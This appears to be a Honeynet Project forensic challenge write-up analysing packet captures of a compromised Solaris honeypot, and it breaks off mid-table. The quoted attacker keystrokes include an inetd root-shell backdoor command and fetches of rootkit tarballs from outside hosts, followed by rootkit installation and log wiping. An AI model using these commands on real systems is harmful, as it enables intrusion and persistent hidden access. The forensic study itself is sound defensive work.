Scan 28

Writeup by Dophine V. Britanico

e-mail:[email protected]

 

Acknowledgment

      To GOD for without his guidance you're not reading this man.

        To Mr. Raul Garcia of the AT&T Mexico Honeynet for sharing his logs to all of us.

        To all the Nice People of the Honeynet Project for starting this fun.

        To the Computer Security Community.

        To all who submit entries here past and future. Keep on submitting.

        To my daughters who inspire me.

 

Table of Contents

          I. The Challenge Summary

 

          II. Conventions Used in This Write-Up Article

 

          III. The Beginning A Road to Perdition

 

          IV. Step Taken And Technical Analysis

                   My Forensic CheckList

         Peek a boo tee (day1.log.gz my first attempt )

                First Filter

                Second Filter

                Third Filter

                Last Filter

                Filter Results

 

          V. My Poor Digital Forensics, A Technical Analysis

                    Contents

                A. Operating System Fingerprinting: (Ans. to Honeynet Question 1)

                        Technique I Utilizing Ethereal Ethernet field

                         Technique II  Passive OS Fingerprinting

                         Technique III Other Methods

                         Other Relevant Evidences

                  Os Fingerprinting Summary

       B. Break-In (Ans. to Honeynet Question 2)

                                     Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump

                                     Buffer Overflow TCP Stream Content

                                     Attacker Keystrokes

       C. Operation Recon (Ans. to Honeynet Question 3)

               Snort Results

               UDP Traffic

               P0f Results

               Table Time Line

               Queries

               Operation Recon Summary

        D. Attack Sequence Diagram (Ans. to Honeynet Question 4)

        E. Breaking ‘’skillz’’ Inside Downloaded Tar Balls (Ans. To Honeynet Question 5)

                skills summary

        F. Covert Datagrams (Ans. to Honeynet Question 6)

                                         Snort Application Layer dump

                                         DDOS Shaft Reference My Analysis

                                     DDOS Overview

                                     Sample Layman’s Data

                                     Sample Technical Data

                                     DDOS Results

 

G. La Gringo y Nacionalista Partida Con Retarded (Ans. to Honeynet Question 7)

                                         Overview

                                         Random translation sample taken from IRC session

                                         Fact from psyBNC Documentation

                Truth or Lies or Both ( Assumption One )

                Fact from the Logs and Sample psyBNC session logs

                Assumption Two

                Enter The Rootkit

                Final Assumption

 

          VI. Answers To Question

 

          VII. Bonus  Question

 

          VIII. References

 

 

I. The Challenge Summary

Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise. The honeypot in question is IP 192.168.100.28. Make sure you review the challenge criteria before submitting your writeup.

II. Conventions Used in This Write-up Article

This article uses the following conventions:

 

Small face courier new fonts are output or results of queries done.

Italicized font are commands

Honeynet refers to http://project.honeynet.org

Honeypot refers to 192.168.100.28 or zoberius.example.net.mx

Intruder , attacker, blackhat, and scripty refers to cracker.

Hacker refers to all of us

Red courier new fonts are of those of the attacker

BOLDFACE, italics, notes or other relevant information, and  rants are mine

Corrections or errors and anything else incognito are not mine.

III. The Beginning A Road to Perdition

I’ll skip the part illustrating how I downloaded the binary compress log file, since it is  obvious everybody with computer background knows how to download particular file/s from the net regardless of skills and Operating system the particular user/s is using, illustrating here is unnecessary. Next performing an md5sum of the binaries is I think also not necessary but to make it sure I  follow one instinctive rule I acquired in computer security that I should not trust any body. (I mean files/binaries IMHO). In Linux that should look like.

1. [[email protected] /tmp]# /usr/bin/md5sum day1.log.gz day3.log.gz

79e5871791542c8f38dd9cee2b2bc317    day1.log.gz

af8ab95f41530fe3561b506b422ed636    day3.log.gz

After comparing our md5sum to the one posted by honeynet  I absolutely know for sure that the two binaries are standard compress files in Gnu zip format, and it can be extracted by our usual UNIX binaries or in Windows PKZIP, WinRar and Etc. Here’s the command line.

2. [[email protected] /tmp]#/usr/bin/file -z  day1.log.gz day3.log.gz

day1.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)

day3.log.gz : tcpdump capture file (little-endian) – version 2.4 (Ethereal, capture length 1514) (gzip compressed data, deflated, original filename, last modified blah.. os: Unix)

3. [[email protected] /tmp]#/usr/bin/gzip –d day1.log.gz day3.log.gz

The file command at 2 confirms  that it can be feed on Ethereal, Tcpdump or Snort. Ethereal is my first choice since I use it every time I connect to the internet and besides of its excellent documentation, ease of use and free. I found it easy yet powerful. www.ethereal .com provides technical reference and frequently ask questions.

The next paragraphs down below demonstrates how I mangle the answers to the questions posted by honeynet project so lets get going. :-) To the non – technical audience just go to the Q&A portion.

IV. Steps Taken and Technical Analysis

Among the blackhat community and as I usually  observed  with past and present vulnerability or exploit codes written and submitted by blackhat and whitehat alike seems to have common characteristics either the exploit is local or remote one have had almost connect to well known ports of the target system, while on some instances have had on the high port above 1024++, excluding of course those of Remote Administration Trojans (RAT), and anything the blackhat may conjure out of digital vastness of the target Operating System. I do not say that It can not be circumvented that my assessment is not correct but there’s nothing (we) lost if lets say  applied again this time, thinking like a cracker be a good start.

So I load the first logs (day1.log) within Ethereal and at first glance I see lots of UDP traffic directed to our honeypot (192.168.100.28) but I have no Idea what’s going on unless I follow every packet on the logs which is insanity. Imagine that on a large real world scenario let say an ISP with a not less than thousand subscribers running 24/7 and suddenly defaced and you as an independent digital forensic expert commissioned  to siphoned, filter, make a perfect assessment of the intruder, how it was done, where, when and other attributes that will make an arrest, complicate it more with a deadline and hundreds or perhaps thousands of megabytes of raw packet log data, where to start, where to begin and other what ifs are most of the concerned of people like us. But thanks to Ethereal the Free Network Protocol Analyzer and some deep knowledge of the working craziness and technical parlance of the TCP/IP protocol and other sci-fi sounding network related protocols by equally sci-fi sounding organizations, work is not hard but time consuming. To begin I have this in mind and I religiously consult it every time I Hack my systems and Analyze logs like this one. It may and may not work for you.

My forensic checklist

1.      Tools ( Computers and Includes O.S.) want a good list of some http://www.nmap.org/tools.html ; - ) depends on what side and color your in.

 

2.      Test System ( To the expert you can do it on your production system, if your using specialize software like vmware for a network stimulation and for a cost )

 

3.      Theory / Lies / Truths / and Paranormal Thinking something like pre-cog like vision of Lies.. On this exercise here is mine.

 

a.      filter ip.dst eq honeypot and tcp.flags.syn (3 way handshake) and tcp.port eq lt 1024 (Well known Ports)  other filter like lt 7000  and not eq 1024

 

b.      ip.dst eq honeypot and ip.proto eq UDP / TCP et all

 

c.      ip.src honeypot and ip.dst IP and 3 way handshake or SYN/RST/FIN/URG

 

d.      Snort IDS to help us Identify potential security breach because I can’t memorize it all Dooh! I bet my arse even the most expert of the expert in computer security cannot memorize and summarize and technically present all of the security exploit in mind in one big swoop without reference or tools of some sort.

 

e.    Analyze Filter Results

 

4.      Test, Verify, Test again and Lie to the teeth if assessment is incorrect back to checklist 3.

 

5.      Caffeine and Stamina.

Peek a boo tee (day1.log.gz my first attempt )

a. First filter

Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to well known ports and pipe the result to file handshake_a.

ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 1024 > handshake_a 

Here’s the filter summary and it seems interesting

203.69.233.93     -> 192.168.100.28 TCP 2341 > 443 3 attempt

61.144.145.243    -> 192.168.100.28 TCP 3668 > 80

62.211.66.16      -> 192.168.100.28 TCP 21 > 32783 [SYN, ACK] Well :-)

62.211.66.53      -> 192.168.100.28 TCP 80 > 32789

62.211.66.53      -> 192.168.100.28 TCP 80 > 32789

62.211.66.53      -> 192.168.100.28 HTTP HTTP/1.1 200 OK

192.18.99.122     -> 192.168.100.28 TCP 21 > 32791

61.221.179.26     -> 192.168.100.28 TCP 4342 > 23 1 attempt

206.252.192.195   -> 192.168.100.28 TCP 7254 > 113 9 attempt

67.195.152.135    -> 192.168.100.28 TCP 1146 > 139 3 attempt

66.28.103.87      -> 192.168.100.28 TCP 1742 > 443 1 attempt

211.75.30.52      -> 192.168.100.28 TCP 1159 > 443 1 attempt

64.24.196.50      -> 192.168.100.28 TCP 0 > 3128 Portscan ?

64.24.196.50      -> 192.168.100.28 TCP 0 > 80

64.24.196.50      -> 192.168.100.28 TCP 0 > 8080

 

 

b. Second filter

 

Filter description: enumerate all possible 3 way handshake connection destined to IP address honeynet from any IP address connecting to ports less than 7000 but not less than well known ports and pipe the result to file handshake_b.

 

          ip.dst eq honeynet and tcp.flags.syn and tcp.port lt 7000 and

not tcp.port le 1024 > handshake_b

 

         

      24.167.44.129     -> 192.168.100.28 TCP 3018 > 1433 3 attempts

      61.144.145.243    -> 192.168.100.28 TCP 3667 > 8080,3128 6 attempts

      203.239.31.60     -> 192.168.100.28 TCP 1191 > 1433 3 attempts

      67.36.28.116      -> 192.168.100.28 TCP 3916 > 1433 3 attempts

      61.219.90.180     -> 192.168.100.28 TCP 56399 > 6112 our honeypot performs

                           SYN/PSH/ACK and it seems it acknowledge it.

   We got a break in?

      80.117.14.44      -> 192.168.100.28 TCP 3934 > 7000 Let see this on RFC 1700

      206.252.192.195   -> 192.168.100.28 TCP 6667 > 32795 Oh! IRC

211.214.125.74    -> 192.168.100.28 TCP 2262 > 1433 3 attempts

      64.231.37.135     -> 192.168.100.28 TCP 3731 > 1433 3 attempts

 

c. Third filter acthung confirmation

               

Filter description: enumerate all possible IP address that our honeynet acknowledge [ACK]   and deny and pipe the result to file acthung.

 

          ip.src eq honeynet and tcp.flags.ack > acthung

 

         

      192.168.100.28    -> 24.167.44.129 TCP 1433 > 3018 [RST, ACK] denied 3x

            192.168.100.28    -> 203.69.233.93 TCP 443 > 2341 [RST, ACK]

192.168.100.28    -> 61.144.145.243 TCP 80,8080 > 3667 [RST, ACK]

192.168.100.28    -> 203.239.31.60 TCP 1433 > 1191 [RST, ACK] denied 3x

192.168.100.28    -> 67.36.28.116 TCP 1433 > 3916 [RST, ACK denied 3x

192.168.100.28    -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] Break in

192.168.100.28    -> 62.211.66.16 TCP 32783 > 21 [SYN] FTP Request

192.168.100.28    -> 62.211.66.53 TCP 32789 > 80 [SYN] HTTP Request

192.168.100.28    -> 192.18.99.122 TCP 32791 > 21 [ACK] Another FTP Request

192.168.100.28    -> 61.221.179.26 TCP 23 > 4342 [RST, ACK] denied

192.168.100.28    -> 80.117.14.44 TCP 7000 > 3934 [SYN, ACK] Gryphon

192.168.100.28    -> 206.252.192.195 TCP 32795 > 6667 [SYN] IRC

192.168.100.28    -> 64.231.37.135 TCP 1433 > 3731 [RST, ACK] denied 3x

            192.168.100.28    -> 64.24.196.50 TCP 3128,80,8080,1080>0 [RST,ACK] denied 4x

 

d.. The rest (filtering icmp)

 

          ip.dst eq honeynet and ip.proto eq 0x01 (ICMP) > icmp

                            

  

192.168.100.28                -> 10.12.9.141          ICMP Destination unreachable       

218.17.158.135       Interesting PortScan?

200.171.38.61

      148.244.153.69    -> 192.168.100.28

      148.244.153.69    -> 192.168.100.28

      64.14.117.10      -> 192.168.100.28       ICMP Echo (ping) request

      63.218.7.130      -> 192.168.100.28

      .

      ... <Cut Here>

            

e. Day1 filter results summary

Going back to the results of our first, second, and third filter we can clearly see that we’ve got a standard mark of network probe or recon going on targeting our honeypot well known services (RFC 1700). Clearly seen also in third filter results our honeypot denied some of them and  initiates a connections with IP 62.211.66.16  and 62.211.66.53.

Probe / Recon Results

          Service                                                         Port

 

http                                                              80

web-cache/proxy                                            8080

http secure                                                    443

telnet                                                           23

auth. tap ident                                               113

netbios session service                                     139

sql                                                                1433

 

And going on further detail of IP address 62.211.66.16 and 62.211.66.53 Initiating an ftp and http request, (this does not mean that IP address 62.211.66.16 and 62.211.66.53 are our potential intruders because our result in our third filter verified that the IP address clearly came from our honeypot) we followed packet stream starting at 62.211.66.16 and we got this:

 

220 services FTP server (Version XOOM FTP 1.24.3+local-release Fri Aug 28 15:52:40 PDT 1998) ready.

USER bobzz

331 Password required for bobzz.

PASS joka

230 User bobzz logged in.

PORT 192,168,100,28,128,16

200 PORT command successful.

RETR wget

150 Opening ASCII mode data connection for wget (136288 bytes).

226 Transfer complete.

PORT 192,168,100,28,128,17

200 PORT command successful.

RETR dlp

150 Opening ASCII mode data connection for dlp (1587 bytes).

226 Transfer complete.

PORT 192,168,100,28,128,18

200 PORT command successful.

RETR solbnc

150 Opening ASCII mode data connection for solbnc (109372 bytes).

226 Transfer complete.

PORT 192,168,100,28,128,19

200 PORT command successful.

RETR iupv6sun

550 iupv6sun: No such file or directory.

PORT 192,168,100,28,128,20

200 PORT command successful.

RETR ipv6sun

150 Opening ASCII mode data connection for ipv6sun (480 bytes).

226 Transfer complete.

QUIT

221 Goodbye.

 

Decoding from this data  someone manage to get in from our honeypot  and downloaded from ftp, files probably rootkits or something? Since we do not know for sure how the intruder get in and how the file works we continued  decoding packet stream from 62.211.66.53 and here’s what we’ve got:

 

GET /bobzz/sol.tar.gz HTTP/1.0

User-Agent: Wget/1.5.3

Host: 62.211.66.53:80

Accept: */*

.

..

 

Lets save the file to sol.tar.gz so that we can analyze it later. Our first assessment seems to answer some of the question of the honeynet project and with the partial data at hand we can now visually illustrate the sequences involved on the attack and how it works, before we go any further lets take a more in depth technical look  and the same time we will answer questions 1 to 4  of the honeynet project. For the less technical audience I recommend going straight to Q&A section of this article. Down Below. Ok!, Lets Rock!

 

V. My Poor Digital Forensics, a Technical Analysis

 

    Contents:

 

A.     Operating System Fingerprinting the Honeypot ( Honeynet Question 1)

 

1.)   Technique I Utilizing Ethereal Ethernet field

2.)   Technique II  Passive OS Fingerprinting

3.)   Technique III Other Methods

4.)   Other Relevant Evidences

5.)   Os Fingerprinting Summary

 

B.      Break-In (Honeynet Question 2)

 

1.)   Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump

2.)   Buffer Overflow TCP Stream Content

3.)   Attacker Keystrokes

 

C.     Operation Recon (Honeynet Question 3)

 

1.)   Snort Results

2.)   UDP Traffic

3.)   P0f Results

4.)   Queries

5.)   Operation Recon Summary

 

D.     Attack Sequence Diagram (Honeynet Question 4)

 

E.      Breaking ‘’skillz’’ Inside the Downloaded Tar Balls (Honeynet question 5)

         1.) skillz summary

 

F.      Covert Datagrams (Honeynet question 6)

 

1.)   Snort Application Layer dump

2.)   DDOS Shaft Reference My Analysis

 

a.)   DDOS Overview

b.)   Sample Layman’s Data

c.)   Sample Technical Data

d.)   DDOS Results

 

3.)   Covert Datagrams Summary

 

 

G.     La Gringo y Nacionalista Partida Con Retarded  (Honeynet Question 7)

 

1.)   Overview

2.)   Random translation sample taken from IRC session

3.)   Fact from psyBNC Documentation

4.)   Truth or Lies or Both ( Assumption One )

5.)   Fact from the Logs and Sample psyBNC session logs

6.)   Assumption Two

7.)   Enter The Rootkit

8.)   Final Assumption

 

 

 

A. Operating System Fingerprinting: (Honeynet Question 1)

 

We will skip and not go on the detail again on the part on internet communication using TCP/IP specially, since reference and articles on this topic abound the Net I’ll suggest google it. Neither I’ll re-write nor discuss fingerprinting articles here, what I discuss is how I manage somehow to figure out the answer to question number 1 of the honeynet project. For details of O.S. fingerprinting articles and others references used here, please go to the References section.

 

 

1. Technique I (going once) ethereal ethernet field

 

Ethereal has built in  OS fingerprinting code block AFAIK and it can identify with certain accuracy the operating systems of the source and destination IP address from the packet frame Ethernet field: Here’s a sample taken from day1.log.gz:

 

Src Addr: 192.168.100.28 Dst Addr: 10.12.9.141

 

Ethernet II, Src:08:00:20:d1:76:19, Dst: 00:07:ec:b2:do:0a

Destination: 00:07:ec:b2:do:0a (Cisco_b2:d0:0a)

Source: 08:00:20:d1:76:19 (Sun_d1:76:19)

 

 

‘’Using filter tcp.flags.syn and ip.dst eq 192.168.100.28 reveals all other IP address connected initiating a 3 way handshake with the honeypot and taking random packet sample data shows similar results for IP address 192.168.100.28 a perfect start if blind guessing for the first time. So our initial guess of the honeypot OS is  Sun Operating System.’’

 

2. Technique II (going twice) Passive OS Fingerprinting

 

According to Max Vision Passive Host Fingerprinting is the practice of determining a remote operating system by measuring the peculiarities of observed traffic without actively sending probes to the host. His paper and other reference related to Passive Host Fingerprinting is on the References section so I will not repeat it here. To determined the OS of a certain  IP address or trace the origin of the offending IP address, we can use the Time To Leave (TTL) values to determine the OS type and even with accuracy trace back the offending IP address back to his upstream provider without him / her knowing.  Combine with window size, maximum segment size, don’t fragment flags, window scaling, sackOK flag, and nop flag of the TCP/IP stack we can 90% sure identify the remote Operating System. Here’s our honeypot uniq OS signature.

 

Note: This can all be spoof and injected raw in a packet.

 

day1.log.gz packet frame 562 src ip eq 192.168.100.28

 

window size             =           24616

Initial TTL             =           64

Maximum segment size    =           1460 bytes

Don’t Fragment Flag     =           1 (0=unset, 1=set)

Window Scaling          =           -1 (not present)

SackOK Flag             =           Permitted

Nop Flag                =           1 (Set)

 

And Winnie the  ‘p0f’  reveals  honeypot using Sun OS 5.8 on Sparc. Accurately.

 

 

3. Technique III (going thrice) Other Methods

 

NMAP stealth network scanner – use for covert recon and OS identification of local and remote systems, useful on  real-time  back-trace in case your machine is compromise and paranoid.

There are other useful tools that can duplicate all of the above.

You can gooooooooooogle it..

 

4. Other Evidences Honeypot  using Sun OS 5.8 on Sparc

 

1.      After the successful remote buffer overflow attacker type unix command

#uname –a

SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10

 

2.      FTP download  of Sun rootkits  binaries and FTP download from Sun Microsystems FTP site

3.      Unix file description of some of the binaries e.q. solsch

 

[[email protected] /tmp]# /usr/bin/file solsch

solsch: ELF 32-bit MSB executable, SPARC, version 1, dynamically linked (uses shared libs), not stripped

 

 

5. OS Fingerprinting Summary:

 

I don’t personally recommend technique (I) which result give you a wild goose chase since raw packet injection is widely used by Blackhats, I may be wrong with this but technique number (I) is just a good base line on what to expect, technique (II) is far more accurate and technique (III) combine with technique (II) and Ethereal provide very accurate results. And that’s how I figured out the answer of project honeynet questions 1.

 

 

B. Break-In (Honeynet Question 2)

 

Back on filter number two and filter number 3 I’ve notice that our honeynet established a connection  to IP address 61.219.90.180  (192.168.100.28        -> 61.219.90.180 TCP 6112 > 56399 [SYN, ACK] ) and upon closer scrutiny of the packet capture beginning at packet frame 561 we’ve got this awesome data. An again, again for the less technical audience please skip to the Q&A section or press Alt-F4.

 

 

1. Attacker Remote Buffer Overflow and Our favorite Protocol Analyzer Dump

 

         Packet

 

1.      61.219.90.180 requesting connection [SYN] to 192.168.100.28 dest port 6112 

2.      192.168.100.28 ACK it  [Packet 1]

3.      61.219.90.180 requesting connection again this time port 1524 [ingresslock]

4.      192.168.100.28 Reset Connections [RST,ACK] [Packet 3]

5.      61.219.90.180 requesting connection [SYN] dest port 6112

6.      192.168.100.28 ACK it [Packet 5]

7.      61.219.90.180 ACK it and Sends data [PSH,ACK] 000000 02040000d0001 4 .root..10..

8.    192.168.100.28 ACK it [Packet 7] 000000001400320001  3  //.SPC_AAAVTaqDd 1000 zoberius:SunOS:5.8:sun4u

9.      61.219.90.180 Injects a remote buffer overflow  packet 585 with 1282 bytes of

AAAAAAAAAAAAAAAAAAAAAAAA… <cut>

          10. 192.168.100.28 ACK it and binds port 1524 ingresslock to attacker 61.219.90.180

 

2. Buffer Overflow TCP Stream Content

 

/bin/ksh -c echo "ingreslock stream tcp nowait root /bin/sh sh -i" > /tmp/x

      /usr/sbin/inetd -s /tmp/x

sleep 10

/bin/rm -f /tmp/x AAAAAAAAAAAAAAAAAAAAAAAAA... <cut>

“That’s seems to answer our question on how the attacker penetrate our honeypot. Next we follow the packet stream between our attacker session with our honeypot using port 1524/ingresslock and take a glimpse of the attackers keystrokes next...”

3. Attackers Keystroke :  (reformatted from the stream for clarity)

Attacker issues uname command to print system information like machine, network, and  OS release.

 

#uname –a

SunOS zoberius 5.8 Generic_108528-09 sun4u sparc SUNW,Ultra-5_10

 

#ls -l /core /var/dt/tmp/DTSPCD.log

/core: No such file or directory

/var/dt/tmp/DTSPCD.log: No such file or directory

 

Attacker Sets Path so that he/she can execute remote victim OS binaries

 

#PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/usr/ccs/bin:/usr/gnu/bin;export PATH

 

Attacker probably looking if BD Process ID exist (I don’t know if BD stands for BackDoor since I don’t have any SUN OS at hand)

 

#echo "BD PID(s): "`ps -fed|grep ' -s /tmp/x'|grep -v

grep|awk '{print $2}'`

BD PID(s): 1773

 

Attacker execute wget binary to download but hopefully it is not on the victim OS

 

# wget

wget: not found

 

Tried to see who’s online to make it sure (Lucky! And Honeypot uptime is 13 days eh!)

 

# w

  9:44am  up 13 day(s),  4:24,  0 users,  load average: 0.00, 0.00, 0.01

User     tty           login@  idle   JCPU   PCPU  what

 

Set shell to interactive mode

 

# /bin/sh -i

unset HISTFILE

# unset DISPLAY

mkdir /usr/share/man/man1/.old

cd /usr/share/man/man1/.old

 

Attacker FTPed to 62.211.66.16

 

# ftp 62.211.66.16 21

bobzz

ftp: ioctl(TIOCGETP): Invalid argument

Password:joka

 

Downloaded binaries

 

get wget         

get dlp

get solbnc

get iupv6sun

Name (62.211.66.16:root): iupv6sun: No such file or directory.

get ipv6sun

quit

 

Verify the location. What for?

 

# ls

dlp

ipv6sun

solbnc

wget

 

Attacker changes file permission of the binaries to executable

 

# chmod +x solbnc wget dlp

 

And probably don’t know how to use it

 

# ./wget

wget: missing URL

Usage: wget [OPTION]... [URL]...

 

Try `wget --help' for more options.

 

So our previous assessment a while ago is correct.

 

# ./wget http://62.211.66.53/bobzz/sol.tar.gz

--09:47:58--  http://62.211.66.53:80/bobzz/sol.tar.gz

           => `sol.tar.gz'

Connecting to 62.211.66.53:80... connected!

HTTP request sent, awaiting response... 200 OK

Length: 1,884,160 [application/x-tar]

 

0K    -> .......... .......... .......... ..........  [  2%]

      .

      ..

      1800K -> .......... .......... .......... ..........  [100%]

 

09:55:09 (4.27 KB/s) - `sol.tar.gz' saved [1884160/1884160]

 

Here we notice attacker redundantly commit typos

 

# rrrrrretar -xf sol.tar.gz

rrrrrretar: not found

# cd sol

sol: does not exist

# ./setup

./setup: not found

# cd sol

sol: does not exist

 

Unpack the the downloaded gzip tar ball

 

# tar -xf sol.tar.gz

 

And set it up

 

# cd sol

# ./setup

 

[0;36mbobz oN ircNet on join #privè

     /\                                                /\

  _/  \    ___|   Autor: bobz    |___    /  \_

       \  /                                       \  /

        \/                                         \/

 

 

   ********

   ********            **     **      **

   **                  **    **      *  *

   ******* **********  **   **      *    *

   ******* **      **  ******      ********

        ** **      **  ******     **********

   ******* **      **  **   **    **      **

   ******* **      **  **    **   **      **

           **********  **     **  **      **

     /\                                              /\

  _/  \    ___| Autor: bobz    |___    /  \_

       \  /                                     \  /

        \/                                       \/

 

       ...:::[ Autore bobz ]:::...

  ...:::[ On IRcnEt On Join #bobz ]:::...

 

Ti:AmO:RosariADelete Logz...

.

..

Cut here

 

We noticed here that setup from the tar ball completed an auto scripts that deleted  log files at /var/log directory check rootkits, install new one and remove it from common favorites hiding places of blackhats like /etc/rc2, and crond daemon. Next the script ask for the rootkit password so that when our attacker wishes to get back anytime in the future he/she can just get back in un-noticed.

 

[1;37m***[0;37m Insert Rootkit Password :

mixer

[1;37m***[0;37m Using Password mixer

[1;37m***[0;37m Insert Rootkit SSH Port :

5001

[1;37m***[0;37m Using Port 5001

[1;37m***[0;37m Insert Rootkit PsyBNC Port :

7000

[1;37m***[0;37m Using Port 7000

 

Next  the script make backup of the trojan binaries replace by the rootkit  and auto patched the system.

 

[1;37m*[0;37m Making backups... su ping du passwd find ls netstat strings ps Done.

[1;37m*[0;37m Installing trojans... login sshd netstat ls find strings du passwd ping su Complete.

[1;37m*[0;37m Suid removal at atq atrm eject fdformat rdist rdist admintool ufsdump ufsrestore quota ff.core lpset lpstat netpr arp chkperm Complete.

[1;37m*[0;37m Starting Patcher...

* Patching...

 DTSCD PATCHED

 LPD PATCHED

 fingerd

 cmsd

 ttdbserverd

 sadmind

 statd

 rquotad

 rusersd

 cachefsd

 bindshells

 snmpXdmid

 Done.

 

Next our attacker is clever enough to download  patches from Sun Microsystems ftp site, to make sure no one gets in on the newly owned nix box except our attacker.

 

Downloaded binary patches are:

 

111085-02.zip

108949-07.zip

 

Here’s sample TCP decode of the session.

 

220-

220-Welcome to the SunSolve Online FTP server.

220-

220-Public users may log in as anonymous.

220-

220-Contract customers should use the following 2-tier login procedure:

220-

220-At the 1st login prompt: sunsolve

220-        passwd: sunmicro

220-

220-At the 2nd login prompt: <sunsolve login name>/<sunsolve passwd>

220-example:  myssID/mypasswd

220-

220-Public users may log in as anonymous; contract customers

220-should use the standard sunsolve login and password,

220-followed by their SunSolve account/password when prompted.

220-

220-

220 sunsolve8 FTP server (Version wu-2.6.2(21) Thu Mar 14 14:48:19 MST 2002) ready.

USER anonymous

331 Guest login ok, send your complete e-mail address as password.

PASS [email protected]

230-Please read the file README

230-  it was last modified on Mon Aug 26 09:27:12 2002 - 95 days ago

230 Guest login ok, access restrictions apply.

TYPE I

200 Type set to I.

CWD pub/patches

250 CWD command successful.

PORT 192,168,100,28,128,26

200 PORT command successful.

RETR 108949-07.zip

150 Opening BINARY mode data connection for 108949-07.zip (1033092 bytes).

226 Transfer complete.

221 You could at least say goodbye.

 

And here’s what is sample session from the remote host 61.219.90.180 binding at port 1524

 

--09:56:21--  ftp://sunsolve.sun.com:21/pub/patches/BINARIES

           => `BINARIES'

Connecting to sunsolve.sun.com:21... connected!

Logging in as anonymous ... Logged in!

==> TYPE I ... done.  ==> CWD pub/patches ... done. Set Transfer Mode Binary

==> PORT ... done.    ==> RETR BINARIES ... done.

 

 

After the successful patched, attacker Install BNC to start IRC chat session

 

# ./startbnc

.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.

 ,----.,----.,-.  ,-.,---.,--. ,-.,----.

 |  O ||  ,-' \ \/ / | o ||   \| || ,--'

 |  _/ _\  \   \  /  | o< | |\   || |__ 

 |_|  |____/   |__|  |___||_|  \_| \___|

      Version 2.2.1 (c) 1999-2000

              the most psychoid         

      and  the cool lam3rz Group IRCnet 

                                         

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'

Configuration File: psybnc.conf

No logfile specified, logging to log/psybnc.log

Listening on: 0.0.0.0 port 7000

psyBNC2.2.1-cBtITLdDMSNp started (PID 3262)

^[[1;37m*^[[0;37m psyBNC installed - loaded on reboot :>

 

Next our attacker execute binary solbnc, and upon looking at the binary, it seems the binary is the one responsible for random IP scan and ICMP packet storm on day 1 and 3 logs.

 

# cd ..

# ./solbnc

# ./dlp

Delete LogZ by bobbino

-------

Deleting /var/log...

.

..

---

LogZ Cancellati...

Delete LogZ by bobbino

    root   167     1  0   Nov 16 ?        0:00 /usr/sbin/inetd -s

    root  3325  3265  0 10:02:25 ?        0:00 grep inetd

---

Patch.....

Attivata by RyO

#

 

C. Operation Recon (Honeynet Question 3)

1. Snort Results

Still relying and referring on our filter data  above, we’ve seen a classic probe or recon going on before the initial break in and to answer the number 3 question fairly, we expand our forensics detective work to another level this time well utilize Snort.

Having by-pass Snort IDS  after all the forensics work above and relying only on Ethereal and some Linux binaries, it’s fair that we’re should give it a try. So my first order of battle is of course day1.log.gz

[[email protected] /tmp]# snort –A full –c snort.conf –r day1.log.gz

Snort processed 18843 packets.

Breakdown by protocol:                Action Stats:

 

    TCP: 12773      (67.786%)         ALERTS: 1910

    UDP: 3948       (20.952%)         LOGGED: 1908

   ICMP: 2122       (11.261%)         PASSED: 0

    ARP: 0          (0.000%)

  EAPOL: 0          (0.000%)

   IPv6: 0          (0.000%)

    IPX: 0          (0.000%)

  OTHER: 0          (0.000%)

 

Oh!, what’s the flurry of alerts and we’ve got lots of  ICMP and UDP. Let’s mine the logs and here’s what snort says.

 

[**] [1:620:2] SCAN Proxy (8080) attempt [**]

[Classification: Attempted Information Leak] [Priority: 2]

11/29-20:25:08.481119 61.144.145.243:3667 -> 192.168.100.28:8080

TCP TTL:47 TOS:0x0 ID:19890 IpLen:20 DgmLen:52 DF

******S* Seq: 0x15E082B1  Ack: 0x0  Win: 0xE640  TcpLen: 32

TCP Options (6) => MSS: 1452 NOP WS: 2 NOP NOP SackOK

 

[**] [1:618:2] SCAN Squid Proxy attempt [**]

[Classification: Attempted Information Leak] [Priority: 2]

11/29-20:25:08.481119 61.144.145.243:3677 -> 192.168.100.28:3128

TCP TTL:47 TOS:0x0 ID:19892 IpLen:20 DgmLen:52 DF

******S* Seq: 0x15E1F6DD  Ack: 0x0  Win: 0xE640  TcpLen: 32

TCP Options (6) => MSS: 1452 NOP WS: 2 NOP N

.

..

 

[**] [117:1:1] (spp_portscan2) Portscan detected from 192.168.100.28: 6 targets 5 ports in 1384 seconds [**]

11/29-21:29:40.738675 192.168.100.28:32789 -> 204.70.57.242:53

UDP TTL:255 TOS:0x0 ID:49293 IpLen:20 DgmLen:73 DF

Len: 53

 

[**] [1:1734:5] FTP USER overflow attempt [**]

[Classification: Attempted Administrator Privilege Gain] [Priority: 1]

11/29-23:43:50.213348 192.168.100.28:32783 -> 62.211.66.16:21

TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:209

***AP*** Seq: 0xA6883EB3  Ack: 0xBFBE2DD5  Win: 0xFFFF  TcpLen: 20

[Xref => bugtraq 4638]

 

[**] [1:499:3] ICMP Large ICMP Packet [**]

[Classification: Potentially Bad Traffic] [Priority: 2]

11/29-23:59:52.338046 192.168.100.28 -> 217.116.38.10

ICMP TTL:255 TOS:0x0 ID:16475 IpLen:20 DgmLen:1044 DF

Type:0  Code:0  ID:6666  Seq:0  ECHO REPLY

[Xref => arachnids 246]

 

[**] [1:480:2] ICMP PING speedera [**]

[Classification: Misc activity] [Priority: 3]

11/30-01:15:27.100598 216.73.82.10 -> 192.168.100.28

ICMP TTL:51 TOS:0x0 ID:47239 IpLen:20 DgmLen:84

Type:8  Code:0  ID:10245   Seq:49995  ECHO

 

‘’That confirms our initial assessment as seen on  Probe / Recon  Results Sub Title above

and consulting the SID of the Intrusion we got.’’

 

SID                                          Message Description                                   Classtype

 

